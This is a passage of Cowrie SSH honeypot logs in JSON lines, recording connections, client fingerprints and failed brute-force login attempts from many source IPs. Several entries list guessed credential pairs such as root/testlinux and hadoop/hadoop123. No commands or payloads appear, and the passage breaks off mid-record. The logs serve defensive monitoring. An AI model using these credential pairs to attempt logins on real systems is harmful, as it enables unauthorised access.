{"eventid":"cowrie.login.failed","username":"developer2","password":"developer2","message":"login attempt [developer2/developer2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:16.780219Z","src_ip":"43.173.69.147","session":"2d1bbda61224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:17.852291Z","src_ip":"43.173.69.147","session":"2d1bbda61224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":34738,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fd100e743f2","protocol":"ssh","message":"New connection: 31.57.216.23:34738 (10.17.0.5:22) [session: 7fd100e743f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:21.041131Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:21.050853Z","src_ip":"31.57.216.23","session":"7fd100e743f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":34752,"dst_ip":"10.17.0.5","dst_port":22,"session":"717bf85678df","protocol":"ssh","message":"New connection: 31.57.216.23:34752 (10.17.0.5:22) [session: 717bf85678df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:21.245911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:21.252042Z","src_ip":"31.57.216.23","session":"717bf85678df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:21.355670Z","src_ip":"31.57.216.23","session":"717bf85678df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:21.704528Z","src_ip":"31.57.216.23","session":"717bf85678df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:22.811989Z","src_ip":"31.57.216.23","session":"717bf85678df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":6398,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b12ff711ab8","protocol":"ssh","message":"New connection: 131.161.219.137:6398 (159.203.135.109:22) [session: 3b12ff711ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:31.521339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:31.525840Z","src_ip":"131.161.219.137","session":"3b12ff711ab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:31.654500Z","src_ip":"131.161.219.137","session":"3b12ff711ab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123321","message":"login attempt [admin/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:32.201725Z","src_ip":"131.161.219.137","session":"3b12ff711ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:33.333898Z","src_ip":"131.161.219.137","session":"3b12ff711ab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":55556,"dst_ip":"10.17.0.5","dst_port":22,"session":"80c93604e0b5","protocol":"ssh","message":"New connection: 101.36.106.162:55556 (10.17.0.5:22) [session: 80c93604e0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:43.843130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:43.847747Z","src_ip":"101.36.106.162","session":"80c93604e0b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:44.063028Z","src_ip":"101.36.106.162","session":"80c93604e0b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"userpassword","message":"login attempt [user/userpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:44.952780Z","src_ip":"101.36.106.162","session":"80c93604e0b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:46.170437Z","src_ip":"101.36.106.162","session":"80c93604e0b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":41180,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1b3a1a4b586","protocol":"ssh","message":"New connection: 103.125.103.201:41180 (10.17.0.5:22) [session: b1b3a1a4b586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:48.835098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:48.838883Z","src_ip":"103.125.103.201","session":"b1b3a1a4b586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:49.078188Z","src_ip":"103.125.103.201","session":"b1b3a1a4b586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":39842,"dst_ip":"10.17.0.5","dst_port":22,"session":"258d52911697","protocol":"ssh","message":"New connection: 181.97.227.163:39842 (10.17.0.5:22) [session: 258d52911697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:49.723995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:49.728743Z","src_ip":"181.97.227.163","session":"258d52911697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:49.978491Z","src_ip":"181.97.227.163","session":"258d52911697","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZzaq1","message":"login attempt [admin/!QAZzaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:50.057499Z","src_ip":"103.125.103.201","session":"b1b3a1a4b586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":33520,"dst_ip":"159.203.135.109","dst_port":22,"session":"fab9ffd9da84","protocol":"ssh","message":"New connection: 201.6.100.191:33520 (159.203.135.109:22) [session: fab9ffd9da84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:50.097764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:50.102166Z","src_ip":"201.6.100.191","session":"fab9ffd9da84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:50.235045Z","src_ip":"201.6.100.191","session":"fab9ffd9da84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev-2024","message":"login attempt [dev/dev-2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:50.796023Z","src_ip":"201.6.100.191","session":"fab9ffd9da84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"AaBbCc123","message":"login attempt [ubuntu/AaBbCc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:50.801964Z","src_ip":"181.97.227.163","session":"258d52911697","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:51.296303Z","src_ip":"103.125.103.201","session":"b1b3a1a4b586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:51.927651Z","src_ip":"201.6.100.191","session":"fab9ffd9da84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:52.017609Z","src_ip":"181.97.227.163","session":"258d52911697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":57712,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff7d2d4c3b52","protocol":"ssh","message":"New connection: 103.158.40.65:57712 (159.203.135.109:22) [session: ff7d2d4c3b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:53.057946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:53.062520Z","src_ip":"103.158.40.65","session":"ff7d2d4c3b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:53.280760Z","src_ip":"103.158.40.65","session":"ff7d2d4c3b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testlinux","message":"login attempt [root/testlinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:54.180311Z","src_ip":"103.158.40.65","session":"ff7d2d4c3b52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:55.402101Z","src_ip":"103.158.40.65","session":"ff7d2d4c3b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.6.60.236","src_port":4218,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5395535f3cc","protocol":"ssh","message":"New connection: 154.6.60.236:4218 (10.17.0.5:22) [session: f5395535f3cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:14.886532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:05:14.892118Z","src_ip":"154.6.60.236","session":"f5395535f3cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 